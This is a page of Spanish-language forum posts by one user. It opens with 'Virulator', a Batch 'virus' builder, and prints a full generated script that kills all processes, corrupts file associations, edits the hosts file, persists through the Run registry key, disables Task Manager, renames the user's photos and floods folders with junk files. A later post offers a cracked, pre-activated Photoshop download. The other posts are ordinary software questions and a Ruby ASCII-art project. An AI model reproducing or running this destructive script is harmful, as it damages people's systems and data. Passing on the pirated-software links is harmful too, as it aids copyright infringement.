elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Temas
Páginas: 1 ... 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 [91] 92 93 94 95 96 97 98 99 100 101 102 103 104 105
901  Programación / Scripting / [Batch] Virulator 1.0c en: 13 Junio 2012, 12:04 pm
VIRULATOR



By Elektro H@cker



Virulator es un creador de "virus" para los amantes de Batch.

Pueden crear un "virus" dañino, O un simple archivo para gastar una broma pesada (O no tán pesada).

Virulator tiene multitud de opciones y tareas variadas para añadirle a tu bomba, Además, En cada tarea hay la posibilidad de añadir tareas preconfiguradas (Y algunas son bastante divertidas xD)...
PD: No se pierdan la idea que se me ocurrió para "Que no pare de correr el reloj de windows!", Es mi tarea favorita XD, Pruebenlo, Eso deja loco a cualquiera y no es dañino :).



- SCREENSHOTS:


















- También dispone de una opción para visualizar el historial de tareas, Para no perder de vista lo que vamos añadiendo...





- Esto es un ejemplo de un script generado con unas cuantas tareas de Virulator:

Código
  1. @Echo OFF
  2. Title sdsdsd
  3.  
  4. :: Virus creado con [Virulator 1.0]
  5. :: By Elektro H@cker
  6. :: No me hago repsonsable del uso de este archivo.
  7.  
  8. If not exist "%TEMP%\invisible.vbs" (Echo CreateObject("Wscript.Shell"^).Run """" ^& WScript.Arguments(0^) ^& """", 0, False>"C:\Users\ADMINI~1\AppData\Local\Temp\invisible.vbs" & wscript "%TEMP%\invisible.vbs" %0) Else (Exit)
  9.  
  10.  
  11. REM Matar proceso "explorer.exe"
  12. Taskkill /F /IM "explorer.exe" >NUL 2>&1
  13.  
  14.  
  15. REM Matar todos los procesos activos del sistema
  16. For /F "Tokens=4 delims=<>" %%X in ('wmic process get name /Format:xml ^| SORT ^| find /I ".exe" ^| Find /V /I "Taskkill" ^| Find /V /I "sort" ^| Find /V /I "cmd" ^| Find /V /I "csrss" ^| Find /V /I "conhost"') Do (Taskkill /F /T /IM "%%X" >NUL 2>&1)
  17.  
  18.  
  19. REM Programar el apagado del PC en 60 segundos
  20. Shutdown /R /T 60 /C "Soy Windows y me caes mal! No me vuelvas a encender, Noob..." /F >NUL
  21.  
  22.  
  23. REM Da¤ar las extensiones de archivos de imagen
  24. ASSOC .ani=regfile >NUL 2>&1
  25. ASSOC .bmp=regfile >NUL 2>&1
  26. ASSOC .cur=regfile >NUL 2>&1
  27. ASSOC .gif=regfile >NUL 2>&1
  28. ASSOC .ico=regfile >NUL 2>&1
  29. ASSOC .img=regfile >NUL 2>&1
  30. ASSOC .jpe=regfile >NUL 2>&1
  31. ASSOC .jpg=regfile >NUL 2>&1
  32. ASSOC .jpeg=regfile >NUL 2>&1
  33. ASSOC .pcd=regfile >NUL 2>&1
  34. ASSOC .png=regfile >NUL 2>&1
  35. ASSOC .psd=regfile >NUL 2>&1
  36. ASSOC .tga=regfile >NUL 2>&1
  37. ASSOC .tif=regfile >NUL 2>&1
  38. ASSOC .tiff=regfile >NUL 2>&1
  39.  
  40.  
  41. REM Abrir multi instancia "notepad.exe"
  42. Echo @echo off>>"%TEMP%\%~n0_720826398.bat"
  43. Echo :Instance>>"%TEMP%\%~n0_720826398.bat"
  44. Echo Start /B CMD /C "notepad.exe">>"%TEMP%\%~n0_720826398.bat"
  45. Echo Goto :Instance>>"%TEMP%\%~n0_720826398.bat"
  46. Start /B CMD /C "%TEMP%\%~n0_720826398.bat"
  47.  
  48.  
  49. REM Mostrar mensaje "Te voy a joder el PC, Lammer!"
  50. Echo X=msgbox("Te voy a joder el PC, Lammer!", 16,"Virus creado por Elektro H@cker")>"% style="color: #448888;">TEMP%\virulator.vbs"
  51. Start /B Wscript "%TEMP%\virulator.vbs"
  52.  
  53.  
  54. REM Bloquear pagina web "google.com"
  55. takeown /F "%windir%\System32\drivers\etc\hosts" >nul 2>&1
  56. icacls "%windir%\System32\drivers\etc\hosts" /grant "%username%":F /T >nul 2>&1
  57. Echo 127.0.1.1 google.com>>"%windir%\System32\drivers\etc\hosts"
  58. Echo 127.0.1.1 www.google.com>>"%windir%\System32\drivers\etc\hosts"
  59.  
  60.  
  61. REM Bucle infinito
  62. Echo @echo off>>"%TEMP%\%~n0_2514423018.bat"
  63. Echo :Bucle>>"%TEMP%\%~n0_2514423018.bat"
  64. Echo Echo bucleeeeeeeee >>"%TEMP%\%~n0_2514423018.bat"
  65. Echo Goto :Bucle>>"%TEMP%\%~n0_2514423018.bat"
  66. Start CMD /K "%TEMP%\%~n0_2514423018.bat"
  67.  
  68.  
  69. REM Ejecutar el virus al inicio del sistema "WindowsMachineSubProcess"
  70. Copy /Y %0 "%WINDIR%\" >NUL 2>&1
  71. Reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V "WindowsMachineSubProcess" /D "%WINDIR%\%~n0.bat" /F >NUL 2>&1  
  72.  
  73.  
  74. REM Modificar fecha de Windows (Bucle infinito secuencial)
  75. Echo :DateUP >"%TEMP%\DateUP.bat"
  76. Echo For /L %%%%a in (2000,1,2099) Do ( >>"%TEMP%\DateUP.bat"
  77. Echo For /L %%%%b in (1,1,12) Do ( >>"%TEMP%\DateUP.bat"
  78. Echo For /L %%%%c in (1,1,31) Do ( >>"%TEMP%\DateUP.bat"
  79. Echo Echo %%%%c/%%%%b/%%%%a ^| Date ^>NUL >>"%TEMP%\DateUP.bat"
  80. Echo ping -n 1 localhost >>"%TEMP%\DateUP.bat"
  81. Echo ) >>"%TEMP%\DateUP.bat"
  82. Echo ) >>"%TEMP%\DateUP.bat"
  83. Echo ) >>"%TEMP%\DateUP.bat"
  84. Echo Goto :DateUP >>"%TEMP%\DateUP.bat"
  85. Start /B Wscript "%TEMP%\Invisible.vbs" "%TEMP%\DateUP.bat"
  86.  
  87.  
  88. REM Modificar hora de Windows (Bucle infinito secuencial)
  89. Echo :TimeUP >"%TEMP%\TimeUP.bat"
  90. Echo For /L %%%%a in (0,1,23) Do ( >>"%TEMP%\TimeUP.bat"
  91. Echo For /L %%%%b in (0,1,59) Do ( >>"%TEMP%\TimeUP.bat"
  92. Echo Time %%%%a:%%%%b >>"%TEMP%\TimeUP.bat"
  93. Echo ping -n 1 localhost >>"%TEMP%\TimeUP.bat"
  94. Echo ) >>"%TEMP%\TimeUP.bat"
  95. Echo ) >>"%TEMP%\TimeUP.bat"
  96. Echo Goto :TimeUP >>"%TEMP%\TimeUP.bat"
  97. Start /B Wscript "%TEMP%\Invisible.vbs" "%TEMP%\TimeUP.bat"
  98.  
  99.  
  100. REM Modificar el nombre del Boot de inicio "Disco C: Infectado"
  101. label Disco C: Infectado>nul
  102.  
  103.  
  104. REM Renombrar extension ".jpg" a ".txt"
  105. FOR /R "%homedrive%\" %%X in (*.jpg) DO (Rename "%%X" "%%~nX.txt" >NUL 2>&1)
  106.  
  107.  
  108. REM Hibernar el PC
  109. RunDll32.exe powrprof.dll,SetSuspendState
  110.  
  111.  
  112. REM Deshabilitar el administrador de tareas (TASKMGR.EXE)
  113. reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
  114. reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
  115.  
  116.  
  117. REM Intercambiar los botones del mouse
  118. Rundll32 User32.dll,SwapMouseButton
  119.  
  120.  
  121. REM Fake-Virus 1 "Fake25917820"
  122. (
  123. echo @echo off
  124. echo color 47
  125. echo net stop themes 2^>nul
  126. echo title INFECCION VIRAL PROFUNDA!
  127. echo echo INFECCION VIRAL!!!
  128. echo echo ERROR!!!
  129. echo echo virus - TROJAN_DEMOLISHER code #45643676
  130. echo PING -n 4 LOCALHOST ^>nul
  131. echo echo FIREWALL - FALLO
  132. echo PING -n 2 LOCALHOST ^>nul
  133. echo echo ANTI-VIRUS - FALLO
  134. echo PING -n 2 LOCALHOST ^>nul
  135. echo echo DIRECCION IP - RECHAZADA
  136. echo PING -n 2 LOCALHOST ^>nul
  137. echo echo FIRMA VIRAL: ****-****-****-8894
  138. echo PING -n 3 LOCALHOST ^>nul
  139. echo cls
  140. echo echo ESCANEANDO AREAS INFECTADAS...
  141. echo PING -n 3 LOCALHOST ^>nul
  142. echo set /a num=0
  143. echo :repeat1
  144. echo set /a num=%%num%%+1
  145. echo echo %%num%%
  146. echo if %%num%%==100 goto end
  147. echo goto repeat1
  148. echo :end
  149. echo PING -n 1 LOCALHOST ^>nul
  150. echo cls
  151. echo echo 86.5%%%% DE MEMORIA FISICA ESTA INFECTADA
  152. echo echo INFECCION FATAL!
  153. echo PING -n 3 LOCALHOST ^>nul
  154. echo ECHO LA ELIMINACION DEL DISCO INFECTADO ES NECESARIA
  155. echo PING -n 3 LOCALHOST ^>nul
  156. echo cls
  157. echo echo ELIMINANDO PARCIALMENTE EL DISCO INFECTADO [C:]
  158. echo echo PORFAVOR NO APAGUE EL SISTEMA
  159. echo PING -n 4 LOCALHOST ^>nul
  160. echo dir /b /s %%WINDIR%%\ ^| FIND /v /i "WINSXS" ^| FIND /v /i "assembly" ^| FIND /v /i "syswow64" ^| FIND /v /i "servicing"
  161. echo cls
  162. echo echo CONTENIDO DEL DISCO INFECTADO [C:] - ELIMINADO
  163. echo PING -n 3 LOCALHOST ^>nul
  164. echo cls
  165. echo echo ESCANEANDO...
  166. echo PING -n 2 LOCALHOST ^>nul
  167. echo set /a num1=0
  168. echo :repeat2
  169. echo set /a num1=%%num1%% +1
  170. echo echo %%num1%%
  171. echo if %%num1%%==100 goto end1
  172. echo goto repeat2
  173. echo :end1
  174. echo cls
  175. echo PING -n 2 LOCALHOST ^>nul
  176. echo echo 98.00%%%% DE MEMORIA FISICA HA SIDO DESINFECTADA
  177. echo PING -n 3 LOCALHOST ^>nul
  178. echo echo ERROR
  179. echo echo ERROR
  180. echo echo ERROR
  181. echo echo ERROR
  182. echo echo ERROR
  183. echo echo ERROR
  184. echo echo ERROR
  185. echo echo ERROR
  186. echo echo ERROR
  187. echo echo ERROR
  188. echo echo ERROR
  189. echo echo ERROR
  190. echo echo ERROR
  191. echo echo ERROR
  192. echo echo ERROR
  193. echo echo ERROR
  194. echo echo ERROR
  195. echo echo ERROR
  196. echo echo ERROR
  197. echo PING -n 3 LOCALHOST ^>nul
  198. echo cls
  199. echo title FALLO EN EL SISTEMA
  200. echo color 17
  201. echo echo ERROR!
  202. echo PING -n 2 LOCALHOST ^>nul
  203. echo echo MEMORIA VIRTUAL PERDIDA!
  204. echo PING -n 2 LOCALHOST ^>nul
  205. echo echo MEMORIA FISICA SOBRECALENTADA!
  206. echo PING -n 2 LOCALHOST ^>nul
  207. echo echo PROCESADOR SOBRECALENTANDOSE!
  208. echo PING -n 2 LOCALHOST ^>nul
  209. echo ECHO LA RUPTURA TOTAL DEL SISTEMA ES INMINENTE!
  210. echo PING -n 4 LOCALHOST ^>nul
  211. echo ECHO RIESGO DE FUEGO ENCONTRADO!
  212. echo ECHO APAGANDO EL SISTEMA PARA EVITAR PERDIDA DE DATOS
  213. echo shutdown /R /T 60 /C "Windows ha encontrado una amenaza de virus y debe reiniciarse. Guarde todo su trabajo ahora." /F
  214. echo PING -n 8 LOCALHOST ^>nul
  215. )>%TEMP%\Fake25917820.bat
  216. Start CMD /K %TEMP%\Fake25917820.bat
  217.  
  218.  
  219. REM Propagar 100 archicos en cada carpeta del disco duro (PRECONFIGURADO)
  220. (
  221. echo @echo off
  222. echo setlocal enabledelayedexpansion
  223. echo Set File=0
  224. echo For /F "Tokens=*" %%%%X in ('Dir /B /S /AD "%%systemdrive%%" ^| Find /V /I "Windows" ^| Find /V /I "$Recycle.Bin"'^) do (Call :COPY %%%%X^)
  225. echo Fsutil file createnew "%%*\%%Random%%%%Random%%%%Random%%%%Random%%%%Random%%" 1 ^>NUL 2^>^&1
  226. echo Set /A File+=1
  227. echo If !FILE! EQU 100 (Set /A File=0^& Goto :EOF^) ELSE (Call :COPY %%*^)
  228. )>%TEMP%\basura.bat
  229. Start /B %TEMP%\basura.bat
  230.  



- Y por último, Aquí tienen el script:
Versión 1.0C
http://pastebin.com/raw.php?i=vqUN1g3p


(CASI)Todas las tareas han sido testeadas en Windows 7, Es muy posible que muchas tareas no funcionen en versiones anteriores de Windows (Y no tengo pensado ""dar soporte"" a esas versiones).

Opinen lo que quieran... Que a mi ya no se me ocurre que más tareas añadir :laugh:.

PD: Si encuentran algún fallo/mejora/idea reportenlo aquí para corregirlo/añadirlo porfavor  ;D.
Gracias.


Espero que os guste aunque séa un poco y lo disfruteis!
Salu2.
902  Informática / Software / NOD32 ¿Importar configuración por linea de comandos? en: 31 Mayo 2012, 19:40 pm
Hola, se supone que en la versión 3 de NOD32 se puede importar un archivo previamente exportado desde el programa, Desde la consola de Windows. (Se supone).

Bueno pues yo uso la versión 5 de NOD32, Y me gustaría preguntaros si conoceis la forma de hacer esto, Desde la consola, U otra manera que no séa abriendo el programa manualmente, Ya que necesito automatizar esta tarea.
PD: Lo he intentado con un archivo de registro (Primero instalar NOD y luego importar el archivo de registro) Pero los cambios nunca se guardan debido a que a NOD no le gusta que le toquen sus claves de registro xD.

Gracias.

Dejo esto por si alguien no me ha entendido bien lo que pretendo importar:



Configuracion.xml
Código
  1. <?xml version="1.0" encoding="utf-8"?>
  2. <ESET>
  3. <SECTION ID="1000103">
  4.  <SETTINGS>
  5.   <SCANNERS>
  6.    <SCANNER ID="1010100">
  7.     <PROFILES>
  8.      <NODE NAME="Enable" VALUE="1" TYPE="DWORD" />
  9.      <NODE NAME="Active" VALUE="@Smart scan" TYPE="STRING" />
  10.      <NODE NAME="@In-depth scan" TYPE="SUBNODE">
  11.       <NODE NAME="SignaturesEnable" VALUE="1" TYPE="DWORD" />
  12.       <NODE NAME="HeuristicsEnable" VALUE="1" TYPE="DWORD" />
  13.       <NODE NAME="AdvancedHeuristicsEnable" VALUE="1" TYPE="DWORD" />
  14.       <NODE NAME="AdwareEnable" VALUE="1" TYPE="DWORD" />
  15.       <NODE NAME="UnwantedEnable" VALUE="0" TYPE="DWORD" />
  16.       <NODE NAME="UnsafeEnable" VALUE="0" TYPE="DWORD" />
  17.       <NODE NAME="CloudEnable" VALUE="1" TYPE="DWORD" />
  18.       <NODE NAME="FileEnable" VALUE="1" TYPE="DWORD" />
  19.       <NODE NAME="SectorEnable" VALUE="1" TYPE="DWORD" />
  20.       <NODE NAME="ArchiveEnable" VALUE="1" TYPE="DWORD" />
  21.       <NODE NAME="SfxEnable" VALUE="1" TYPE="DWORD" />
  22.       <NODE NAME="RtpEnable" VALUE="1" TYPE="DWORD" />
  23.       <NODE NAME="MailEnable" VALUE="1" TYPE="DWORD" />
  24.       <NODE NAME="MemoryEnable" VALUE="1" TYPE="DWORD" />
  25.       <NODE NAME="MaxArchiveLevel" VALUE="0" TYPE="DWORD" />
  26.       <NODE NAME="MaxScanFileSize" VALUE="0" TYPE="DWORD" />
  27.       <NODE NAME="MaxTempFileSize" VALUE="0" TYPE="DWORD" />
  28.       <NODE NAME="ScanObjectTimeout" VALUE="0" TYPE="DWORD" />
  29.       <NODE NAME="CleanLevel" VALUE="0" TYPE="DWORD" />
  30.       <NODE NAME="LogAllEnable" VALUE="0" TYPE="DWORD" />
  31.       <NODE NAME="SmartEnable" VALUE="0" TYPE="DWORD" />
  32.       <NODE NAME="Extensions" TYPE="SUBNODE">
  33.        <NODE NAME="AddExtensions" VALUE="|*|" TYPE="STRING" />
  34.        <NODE NAME="RemoveExtensions" VALUE="" TYPE="STRING" />
  35.        <NODE NAME="ExcludeExtensions" VALUE="" TYPE="STRING" />
  36.       </NODE>
  37.      </NODE>
  38.  
  39. ... más código abajo...
  40.  
903  Informática / Software / Photoshop CS6 x64 (v13.0) Portable - Autoinstalable - Castellano + Recursos en: 30 Mayo 2012, 21:15 pm


Photoshop CS6 x64 (v13.0)
Por Elektro H@cker







Características:

  • Solamente compatible con 64 Bit (x64)
  • Instalador Portable y Modo silencioso
  • Producto Activado
  • Totalmente en Castellano
  • Pack de degradados y pack de colores integrado (En total solo pesan 4 MB extra)
  • Testeado en mi PC y en Virtualbox (En una instalación limpia de Win7 HomePremium SP1 x64)
  • Instalar y a disfrutar!

:)



Complementos eliminados:


  • Otros idiomas menos Inglés y Castellano
  • Adobe Bridge CS
  • Adobe extension manager
  • Adobe extendedscript toolkit
  • Adobe fonts recommended
  • Perfiles de cámaras
  • Plugin: AdobeHunspellPlugin
  • Plugin: WRLiloPlugin1.3
  • ...
  • Soporte para edición de video
  • Fuentes .OTF adicionales
  • Linguistics
  • dynamiclinkmediaserver
  • Gráficos del OOBE

:)



Notas:

- El instalador pesa 256 165 MB.

- Para instalar en modo silencioso se hace con el parámetro "/silent", En consola:
Código
  1. "Photoshop CS 6.exe" /silent

- Si tienes problemas para usar Photoshop CS6, Instala las librerías "Microsoft Visual C++ 2008/2010". Photoshop los instala por defecto, Aunque yo no los he necesitado en VirtualBox.



IMAGENES:

   





DESCARGA (Instalador optimizado :P, Menos peso.):

Descargate las dos partes y descomprimelas con WinRAR.

Parte 1: http://www.directmirror.com/files/17FRDGZU
Parte 2: http://www.directmirror.com/files/1DUF77NR
904  Media / Diseño Gráfico / (Solucionado) Importar archivos .PSP de PS CS 5 a PS CS 6 en: 30 Mayo 2012, 15:32 pm
Hola, mi pregunta es sencilla, Tengo un pack de estilos de photoshop cs5, en formato .psp, "archivo.psp", Ok el photoshop cs6 no me reconoce el archivo, pero bueno le he cambiado la extensión a "archivo.asl" y me dice que no se puede importar porque el archivo no es compatible con esta versión de photoshop...

¿Puedo hacer algo para recuperar mis estilos? Algun programa que convierta packs exportados desde el CS5 en formato .PSP (de gradiantes, texturas, pinceles, estilos...) para poder importarlos al CS 6?

Saludos y gracias...

EDITO: Ya lo he conseguido, Era en esta carpeta: "...\AppData\Roaming\Adobe\Adobe Photoshop CS6\Adobe Photoshop CS6 Settings" :P
905  Programación / Scripting / [RUBY] Proyecto sin finalizar Art ASCII Factory ¿Alguien me toma el relevo? en: 24 Mayo 2012, 18:59 pm
Hola,

Esto es un proyecto que por tiempo y esfuerzo no creo que vaya a finalizar... Espero que alguien pueda hacerlo por mi, O hecharme una mano , ¿Como? Pues agregando estilos de letras (Con sus respectivas posiciones ya puestas en el code...), Enviandomelas por mp, No se, O que me tome el relevo si a alguien le parece un proyecto interesante...

De momento solo hay 10(Y medio) estilos de letras incluidos, En la versión sin GUI. Y la idea es sobrepasar los 50 estilos, Pero he necesitado muchas horas para incluir solamente 10 estilos, Buf!.
Me da mucha pena, Porque la versión con GUI de TK quedaría genial, Pero no tengo los suficientes conocimientos sobre TK para poder hacer el code correctamente...

La página de donde saco los estilos de letra es esta:
http://patorjk.com/software/taag/

Y aquí hay bastantes también:
http://www.network-science.de/ascii/

Si, Ya, Muchos pensarán que se puede hacer por web (Desde el script), Pero y que pasa cuando esas webs se mueran??? Jeje quise recopilarlo en un programa, Que nunca muere :).

Bueno, Eso es todo... Haced lo que os de la gana con estos codes xD.

Gracias y saludos!.
Elektro H.



La versión TK (No tiene ningun estilo agregado por el momento...) Solo es para probar el diseño.



Código
  1. require 'tk'
  2. require 'tkextlib/tile'
  3.  
  4. root = TkRoot.new {title "Art ASCII Factory Test"}
  5.  
  6. Tk::Tile::Label.new(root) {padding "0 0 1 10"}.grid( :sticky => 'nsew')
  7.  
  8. Tk::Tile::Entry.new(root) {width 30}.grid( :column => 0, :row => 0, :sticky => 'w' )
  9.  
  10. Tk::Tile::Button.new(root) {text "ASCIIZE"; command "submitForm"}.grid( :column => 1, :row => 0, :sticky => 'wn' )
  11.  
  12. $names = %w{ estilo1 estilo2 estilo3 }
  13. $colornames = TkVariable.new($names)
  14.  
  15. list = TkListbox.new(root) do
  16.  listvariable $colornames
  17.  pack('fill' => 'x')
  18. end
  19.  
  20. list.place('height' => 150,
  21.           'width'  => 100,
  22.           'x'      => 10,
  23.           'y'      => 100)
  24.  
  25. scroll = TkScrollbar.new(root) do
  26.    orient 'vertical'
  27.    place('height' => 150, 'x' => 110, 'y' => 100)
  28. end
  29.  
  30. list.yscrollcommand(proc { |*args|
  31.  scroll.set(*args)
  32. })
  33.  
  34. scroll.command(proc { |*args|
  35.  list.yview(*args)
  36. })
  37.  
  38. text = TkText.new(root) do
  39.  width 100
  40.  height 30
  41.  borderwidth 1
  42.  font TkFont.new("family" => 'Lucida Console', "size" => 10)
  43.   pack("side" => "right",  "padx"=> "5", "pady"=> "5")
  44.   grid( :column => 1, :row => 1, :sticky => 'en' )
  45. end
  46.  
  47. text.insert 'end', "
  48. ######## ########  ######  ########
  49.   ##    ##       ##    ##    ##    
  50.   ##    ##       ##          ##    
  51.   ##    ######    ######     ##    
  52.   ##    ##             ##    ##    
  53.   ##    ##       ##    ##    ##    
  54.   ##    ########  ######     ##    
  55. "
  56.  
  57. Tk.mainloop



La versión sin gui



El script entero aquí: http://pastebin.com/MVnhRi2a


(En este post no cabe el script entero, esto es solo un poco de lo que contiene el script)
Código
  1. # ... más código arriba
  2. # encoding:utf-8
  3.  
  4. system('mode con cols=190 lines=30')
  5.  
  6. threexfive = '
  7.    #         #      ##     #    #   #  #    #                               #                           #  ##   ## ##  ### ###  ## # # ###  ## # # #   # # ###  #  ##   #  ##   ## ### # # # # # # # # # # ###   # #                            #   ## ##   ## ##    #      #  # #  ## # #  #    #   # #       ### #    #  ### # #   # #    #  ###  #  ### ### # # ### ### ### ### ###
  8. ## ### ### ### ###  #  ### ###         # #  #  ### ##  ### ### ### ###  ## ### # # # # # # # # # # ##  # # # # #   # # #   #   #   # #  #    # # # #   ### # # # # # # # # # # #    #  # # # # # # # # # #   #  #   #   #       #              # #  #   #   #   #   #   #   #  # # ##    # #     #  #   #  ###   # #    #  # # ### ###  #  ### # # ##    #   # # # #   #     # # # # #
  9. # # # # #   # # ##  ### # # # #  #   #  ##   #  ### # # # # # # # # #    #   #  # # # # ###  #  ###  #  ### ##  #   # # ##  ##  # # ###  #    # ##  #   ### # # # # ##  # # ##   #   #  # # # # ###  #   #   #  #     #                 ###          #   #  ##   ## #   ###  #      ###  #   ##  #   #   #       ##  #   #  #   # # #     #  #  # #  #  ###  ## ### ### ###   # ### ###
  10. ### ### ### ### ###  #   ## # #  ##  #  # #  ## # # # # ### ### ### #   ##   ## ###  #  ### # #   #  ## # # # # #   # # #   #   # # # #  #  # # # # #   # # # # # # #    ## # #   #  #  # # # # ### # #  #  #    #   #   #   #   #                   #   #   #   #       #           ## #   # # #    #   #  ###       #  #  ### ###         ### # #  #  #     #   #   # # #   # # #   #
  11.                    ##  ###         #                       #     #                             ###     # # ##   ## ##  ### #    ## # # ###  #  # # ### # # # #  #  #     # # # ##   #  ###  #  # # # #  #  ###   # #   #   #        #      ###      ## ##   ## ##           #      ##  # # ### #     # #        #    #  #      # #          #  ### ### ### ###   # ### ###   # ### ###
  12. '
  13. threexfive_chars = {
  14.  :' ' => ' ',
  15.  :a => 0..3, :b => 4..7, :c => 8..11, :d => 12..15, :e => 16..19, :f => 20..23, :g => 24..27, :h => 28..31, :i => 33..35, :j => 36..38, :k => 40..43, :l => 45..47, :m => 48..51, :n => 52..55, :o => 56..59, :p => 60..63, :q => 64..67, :r => 68..71, :s => 72..75, :t => 76..79, :u => 80..83, :v => 84..87, :w => 88..91, :x => 92..95, :y => 96..99, :z => 100..103,
  16.  :A => 104..107, :B => 108..111, :C => 112..115, :D => 116..119, :E => 120..123, :F => 124..127, :G => 128..131, :H => 132..135, :I => 136..139, :J => 140..143, :K => 144..147, :L => 148..151, :M => 152..155, :N => 156..159, :O => 160..163, :P => 164..167, :Q => 168..171, :R => 172..175, :S => 176..179, :T => 180..183, :U => 184..187, :V => 188..191, :W => 192..195, :X => 196..199, :Y => 200..203, :Z => 204..207,
  17.  :< => 208..211, :> => 212..215, :';' => 216..218, :',' => 220..222, :':' => 225..226, :'.' => 229..230, :- => 232..235, :_ => 236..239, :'^' => 240..243, :'[' => 245..247, :']' => 248..250, :'{' => 252..255, :'}' => 256..259, :'\'' => 260..261, :+ => 264..266, :'!' => 268..270, :'"' => 272..275, :'$' => 275..278, :% => 279..282, :& => 283..286, :/ => 287..290, :'(' => 293..294, :')' => 296..298, :'=' => 300..303, :'?' => 304..307, :'\\' => 308..311, :| => 313..314, :'@' => 316..319, :'#' => 320..323, :~ => 324..327, :` => 328..331, :* => 332..335,
  18.  :'0' => 336..339, :'1' => 340..343, :'2' => 344..347, :'3' => 348..351, :'4' => 352..355, :'5' => 356..359, :'6' => 360..363, :'7' => 364..367, :'8' => 368..371, :'9' => 372..375
  19.  
  20. amcneko = "
  21.                                                                                                                                                                                                                                                                                                                                                                                                  SSSSS .sSSSSs.    .sSSSSs.    SsSSs.    .sSSSSs.    .sSSSSSSs.  .sSSS s.    SSSSSSSSSs. .sSSSSs.    SSSSSSSSSs. .sSSSSs.    .sSSSSs.    
  22. .sSSSSs.    .sSSSSs.    .sSSSSs.    .sSSSSs.    .sSSSSs.    .sSSSSs.    .sSSSSs.    .sSSS SSSSS SSSSS       SSSSS .sSSS  SSSSS  SSSSS       .sSSSsSS SSsSSSSS .sSSSs.  SSSSS .sSSSSs.    .sSSSSs.    .sSSSSs.     .sSSSSSSSs. .sSSSSSSSs. .sSSSSSSSSSSSSSs. .sSSS s.    .sSSS s.    .sSSS       s.    .sSSS SSSSS .sSSS SSSSS SSSSSSSSSs.                         .sSs.       .sSs.               S SSS S SSSSSSSs. SSSSSSSSSs.   SSSSs   `SSSS SSSs. `SSSS SSSSs SSSSS SSSs. SSSSS SSSS' SSSSSSSSSs. SSSSSSSSSSS SSSSS SSSs. SSSSS SSSs.
  23. S SSSSSSSs. S SSSSSSSs. S SSSSSSSs. S SSSSSSSs. S SSSSSSSs. S SSSSSSSs. S SSSSSSSs. S SSS SSSSS S SSS       S SSS S SSS SSSSS   S SSS       S SSS  SSS  SSSSS S SSS SS SSSSS S SSSSSSSs. S SSSSSSSs. S SSSSSSSs.  S SSS SSSSS S SSS SSSS' SSSSS S SSS SSSSS S SSS SSSs. S SSS SSSs. S SSS       SSSs. S SSS SSSSS S SSS SSSSS SSSSSS SSS'                         S%%%S       S%%%S               S  SS `..SS SSSSS S SSS SSSSS   S SSS         SSSSS       S SSS S SSS SSSSS S SSS       S SSS SSSS'      S SSS  S SSS SSSSS S SSS SSSSS
  24. S  SS SSSSS S  SS SSSS' S  SS SSSS' S  SS SSSSS S  SS SSSS' S  SS SSSS' S  SS SSSS' S  SS SSSSS S  SS       S  SS S  SS SSSSS   S  SS       S  SS   S   SSSSS S  SS  `sSSSSS S  SS SSSSS S  SS SSSSS S  SS SSSSS  S  SS SSSS' S  SS       SSSSS S  SS SSSSS S  SS SSSSS S  SS SSSSS S  SS       SSSSS S  SS SSSSS S  SS SSSSS     S  SS    .sS               Ss.  `:;:'       `:;:'               S;;;S       SSSSS S  SS SSSSS   S  SS   .sSSSsSSSS'   .sS S  SS S  SS SSSSS SSSSSsSSSs. S  SS           S  SS   S  SS SSSSS S  SS SSSSS
  25. S..SSsSSSSS S..SSsSSSa. S..SS       S..SS SSSSS S..SS       S..SS       S..SS       S..SSsSSSSS S..SS       S..SS S..SSsSSSSS   S..SS       S..SS       SSSSS S..SS    SSSSS S..SS SSSSS S..SS SSSSS S..SS SSSSS  S..SSsSSSa. `SSSSsSSSa. `:S:' S..SS `:S:' S..SS SSSSS S..SS SSSSS S..SS       SSSSS `..SSsSSSs' `..SSsSSSS'    S..SS    SSSSsssssss sssssssSSSS                         sssssss S%%%S    .ssSSSSS S..SS\\SSSSS   S..SS   S..SS        SSSSsS..SS S..SSsSSSSS       SSSSS S...SsSSSa.    S..SS    `..SSsSSSs' `..SSsSSSSS
  26. S:::S SSSSS S:::S SSSSS S:::S SSSSS S:::S SSSSS S:::SSSS    S:::SSSS    S:::S`sSSs. S:::S SSSSS S:::S       S:::S S:::S SSSSS   S:::S       S:::S       SSSSS S:::S    SSSSS S:::S SSSSS S:::SsSSSSS S:::S SSSSS  S:::S SSSSS .sSSS SSSSS       S:::S       S:::S SSSSS  S::S SSSS  S:::S       SSSSS s:::S SSSSs    S:::S      S:::S      `:;               ;:'                                  SSSSS    SSSSS;:' S:::S SSSSS   S:::S   S:::S SSSs.   `:; S:::S       SSSSS .sSSS SSSSS S:::S SSSSS   S:::S     s:::S SSSSs       SSSSS
  27. S;;;S SSSSS S;;;S SSSSS S;;;S SSSSS S;;;S SSSSS S;;;S       S;;;S       S;;;S SSSSS S;;;S SSSSS S;;;S       S;;;S S;;;S  SSSSS  S;;;S       S;;;S       SSSSS S;;;S    SSSSS S;;;S SSSSS S;;;S       S;;;S SSSSS  S;;;S SSSSS S;;;S SSSSS       S;;;S       S;;;S SSSSS   S;S SSS   S;;;S   S   SSSSS S;;;S SSSSS    S;;;S     S;;;S                              .sSs. .sSs. .sSs. .sSs.         .sSs.    .sSs.    S;;;S SSSSS   S;;;S   S;;;S SSSSS       S;;;S       SSSSS S;;;S SSSSS S;;;S SSSSS  S;;;S      S;;;S SSSSS .sSSS SSSSS
